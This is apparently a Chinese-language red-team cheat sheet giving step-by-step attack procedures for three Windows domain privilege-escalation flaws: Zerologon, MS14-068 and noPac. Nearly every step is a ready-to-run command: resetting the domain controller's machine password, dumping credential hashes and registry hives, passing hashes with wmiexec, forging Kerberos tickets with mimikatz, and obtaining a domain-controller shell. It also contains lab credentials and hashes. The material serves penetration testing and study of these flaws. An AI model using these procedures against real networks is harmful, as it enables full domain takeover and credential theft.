域内提权漏洞(1)
Netlogon域权限提升
1.查看域控主机名称
net group "domain controllers" /domain
2.检测漏洞是否存在
https://github.com/SecuraBV/CVE-2020-1472.git
python zerologon_tester.py OWA 192.168.52.138
3.漏洞利用,对域账号重置
https://github.com/blackarrowsec/redteam-research
python CVE-2020-1472.py DC DC$ 192.168.247.142
这时候可以mimikatz看一下用户凭证,DC$的hash已被置空
4.获取域控用户hash
python secretsdump.py 'god.org/OWA$@192.168.52.138' -no-pass
这里图放错了 DC$就是OWA$
5. wmiexec进行hash横向连接
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:484c4a877bf92ab233572af847b9e530 demo\Administrator@192.168.52.138
6. 恢复域 - 获取hash
#获取sam数据库
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save
6. 恢复域 - 获取hash
#解密sam
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
6. 恢复域 - 还原hash
https://github.com/risksense/zerologon
python reinstall_original_pw.py OWA 192.168.5.134 e2474b7ca001fb4d6847a6c1ece68bfb
域内提权漏洞(2)
MS14-068
该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。
微软官方解释:
https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068
漏洞原理:
Kerberos认证原理: https://www.cnblogs.com/huamingao/p/7267423.html
服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控dc验证pac的话,那么客户端可以伪造域管的权限来访问服务器。
漏洞利用前提:
1.域控没有打MS14-068的补丁(KB3011780)
2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid
相关工具下载:
Ms14-068.exe 下载地址: https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PSexec下载地址: https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
漏洞利用
1.首先在检测是否有MS14-068这个漏洞,通过查看是否打补丁(KB3011780)来判断是否存在漏洞,在域中补丁都是批量安装
2. 获取域sid
S-1-5-21-2756371121-2868759905-3853650604-1001
3. 获取域hash
由于是域普通用户,首先提权到system然后抓hash
161cff084477fe596a5db81874498a24
4. 清除当前用户票据
mimikatz kerberos::purge
5.利用ms14-068.exe提权工具生成伪造的kerberos协议认证证书
shell MS14-068.exe -u de1ay@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604-1001 -p
1qaz@WSX -d 10.10.10.10
6.利用mimikatz.exe将证书写入,从而提升为域管理员
mimikatz kerberos::ptc TGT_11@de1ay.com.ccache 7.再次列出域控制器的C盘目录,成功访问域控的C盘,说明普通域用户提权成功
域内提权漏洞(3)
cve-2021-42287/cve-2021-42278
漏洞介绍
1、CVE-2021-42278
一般来说,机器账号的名字应该以$符号结尾的。例如DC$表示DC这台主机的账户名。但是微软只是进行了规定,并没有验证程序对用户创建的用户名进行验证,也就是说,创建DC用户名完全是可以的。(这里指的是机器账号的sAMAccountName属性)
2、CVE-2021-42287
结合上面那个漏洞,如果创建了一个用户名为DC的账户,此时使用这个账户去申请一张TGT票据,然后在申请ST之前,将这个账户名修改掉或者删除掉,那么在进行申请ST的时候,KDC在进行验证时就查不到这个账户,此时KDC就会去查找DC$这个账户,如果这个账户存在的话,最终返回的就是DC$这个账户申请的ST。也就相当于获取到了域控账户申请的高权限服务票据。
漏洞影响范围
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
漏洞利用
1.需要一个域用户
2.获取dc shell
python3 sam_the_admin.py x.x/x:x -dc-ip x.x.x.x -shell
3.检查漏洞是否存在
.\noPac.exe scan -domain x.x.x -user x -pass 'x'
4.获取shell
python3 noPac.py -use-ldap de1ay.com/de1ay:1qaz@WSX -dc-ip 10.10.10.10 -shell